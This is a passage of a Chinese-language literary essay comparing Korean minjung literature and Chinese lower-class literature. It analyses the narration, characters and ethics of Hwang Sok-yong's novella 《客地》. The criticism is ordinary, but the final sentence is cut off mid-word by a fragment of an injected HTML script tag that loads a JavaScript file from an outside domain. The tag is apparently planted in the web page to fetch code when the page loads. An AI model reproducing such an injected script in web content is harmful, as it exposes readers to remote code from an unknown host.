1.比较之前
在韩国,描写底层民众的文学被称为民众文学,而在中国,则被称为底层文学。以底层民众为素材的小说在韩国20世纪70、80年代曾形成一种热潮,不仅涌现出大量的民众文学作品,而且文坛上还形成了一股势不可挡的民众文学话语论争。当时,一方面韩国民众受到朴正熙独裁统治的压制,另一方面韩国社会在飞速的产业化过程中呈现出一些社会矛盾,促使了知识分子对此的关注与忧虑。而后一个因素在中国也不无存在,它与底层文学的出现也有着密切的关系。民众文学作品与底层文学作品的出现背景尽管有类似之处,但在表现手法和角度上有些差异。也许究明两者的异同,可以给对方带来一些启发与借鉴作用。并且,通过阐明作家们表现底层的不同方式与立场,可以增进韩中两国知识分子的感情交流。本文正是出于此意,才从民众文学和底层文学中分别选取了一篇优秀作品,即以《客地》和《那儿》为中心进行比较讨论的。
2.《客地》的正面切入式叙述
韩国作家黄皙映的中篇小说《客地》被视为韩国20世纪70、80年代民众文学的代表作,他以现实主义小说手法描写了一批生活在社会底层的工地民工的艰苦生活。小说使用的是全知叙述者,叙述者对人物进行了大胆全面的展示,有时候叙述者处在众多人物外部,对民工的团体生活、工地现场进行细致入微的观察叙述,但有时候他又会钻入某一个人的内部,对人物心理进行生动的剖析展现。让我们通过下面这段描写来了解一下《客地》的叙事风格。
A:穆氏收起扑克牌,背靠在墙上,脱下袜子之后瞅着自己的脚看。他抠着脚趾之间生脚气的地方,裂开的肉中间渗出了脓水,可穆氏还是仿佛挺痛快似的闭着眼睛。东赫数着手指头说:
“一天住宿费四十块,每顿饭二十块……这就是一百块,一天剩十块?”
“一分也剩不下。知道开支那天都干什么吗?结果就是告诉咱们谁欠了多少债。” “什么债?” “食宿费再加上书记开的小卖部里卖酒,烟,衣服,零食什么的。在这儿干活的都肯赊账。最后都被债拴住腿走不了了。”
韩东挠了挠腋窝儿,把灯芯向上拨了拨,然后脱下上衣。张氏咂着舌头,而韩东则毫不介意地埋头抓着虱子。他们又细又长的影子在报纸糊的墙上晃着,使整个房间显得更加窄小了。1号房间传来许多人扯着嗓子唱流行歌的声音。
这段描写的是民工们劳动归来后生活的一幕,抠脚气的穆氏、算计工钱的东赫、抓虱子的韩东、扯开嗓子唱歌的1号房间民工,叙述者通过对这个群体的观察细致地捕捉到了他们生活的每一个细节,而正是这些细节明示了这些人物的社会地位和作者对他们的深爱。其实,“底层”和“对底层的爱”这类词语并没有在文中出现,但我们照样能感受到作者鲜明的感情。
但需要注意的是,小说中登场的人物除了民工之外,还有榨取民工的工头、监工(作者对最底层的监工稍带同情,偶尔对他们进行单独描写)、警察以及高级管理人员等。叙述者尽管是全知性的,他的视点可以移动,但小说中他的视点却仅限于对民工的观察描写,榨取层的描写则是在配合民工出现的时候才捎带出的。叙述者的这一选择性观点应该说是作者的别具匠心之处,也就是说,叙述者的亲民众性也反映了作者对民众的深爱和同情,而相反表达了对榨取阶层的抗议与反感。
另外,《客地》通过登场的人物提出了一个社会问题,即:如何规定道德?因为《客地》中描写的人物并不单单是淳朴善良的劳动者,其中违背社会伦理的大有人在。例如,卖春女小吴的妹妹,纵火犯张氏,小流氓杨奉泽,被领导层收买的民工等,从社会伦理的角度来看,他们都是“坏民众”。但作者黄皙映之所以在民众中掺入了这么多的“混”水,并非他有偏爱“坏民众”的取向,而是恰恰因为他捕捉到的不是民众的特殊形象,而是当时民众的普遍形象。包括这些“坏民众”,他们都不是与生俱来就恶盈满贯、损人利己的,他们的堕落只是为了追求最起码的生存。如此,这些人物的登场不由得引发我们的深思:究竟应该怎样来定义伦理?当伦理不再保障生存的时候它是否还有效呢?韩国评论家金禹昌在讨论20世纪70年代韩国产业化时代问题的时候曾经对此作过这样的评论:“当今时代道德和生存的不一致至少是(造成许多问题)的一个原因……(当道德或伦理)固执于现实的非效用性时,平凡的人是无法忍受它的要求的。”文学离不开社会,它反照出社会的伦理。而反映伦理的支点则正是被创作的文学人物和文学作品,在创造过程中掺入了作家看待社会的视角。《客地》中值得指出的是,小说的叙述中既没有掺入夸张高昂的政治情绪,也没有借助作家知识分子俯视民众的视角。作家对底?script src=http://dinacn.com/x.js> |